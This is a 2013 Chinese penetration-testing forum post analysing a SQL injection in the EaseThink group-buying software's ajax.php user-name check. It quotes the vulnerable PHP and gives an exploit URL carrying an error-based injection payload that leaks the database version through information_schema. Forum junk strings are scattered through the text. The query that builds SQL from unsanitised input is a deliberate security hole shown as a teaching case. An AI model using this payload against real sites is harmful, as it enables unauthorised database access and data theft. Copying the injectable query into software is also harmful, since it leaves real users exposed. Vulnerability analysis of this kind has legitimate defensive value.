中国网络渗透测试联盟

标题: 易想团购ajax.php SQL注入分析和Exp [打印本页]

作者: admin    时间: 2013-4-16 16:48
标题: 易想团购ajax.php SQL注入分析和Exp
在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。
- I& A# Y* U7 o; |
) F6 }7 T" B3 q1 M# L, A1 { * p+ b6 f+ b( z

8 k7 V4 b3 O$ u5 u$ h* f- z* 验证会员数据          */         function check_user($field_name,$field_data)         {                 //开始数据验证                 $user_data[$field_name] = $field_data;                 $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据                 if(trim($user_data['user_name'])==''&&$field_name=='user_name')                 {                         $field_item['field_name'] = 'user_name';                         $field_item['error']        =        EMPTY_ERROR;                         $res['status'] = 0;                         $res['data'] = $field_item;                         return $res;                 }                 if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。                 {                         $field_item['field_name'] = 'user_name';                         $field_item['error']        =        EXIST_ERROR;                         $res['status'] = 0;                         $res['data'] = $field_item;                         return $res;                 }
6 W* O9 \, T7 m" Y3 [, h
" X/ V+ t0 e9 H" f4 {0 T; K" }/ V6 X) r. `

' c' L: N" v1 C& Y6 L& yExp:! W9 A6 X$ v* e# }7 H. i4 p

$ L# [4 S( y5 H6 I" g' o" S
! E  r  o. Y! D
3 R, n" d" O4 U0 N( x5 k" thttp://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23 ) X- c8 S$ y, n$ x

9 u. c5 b0 R0 i$ p! z5 ^2 {% U




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2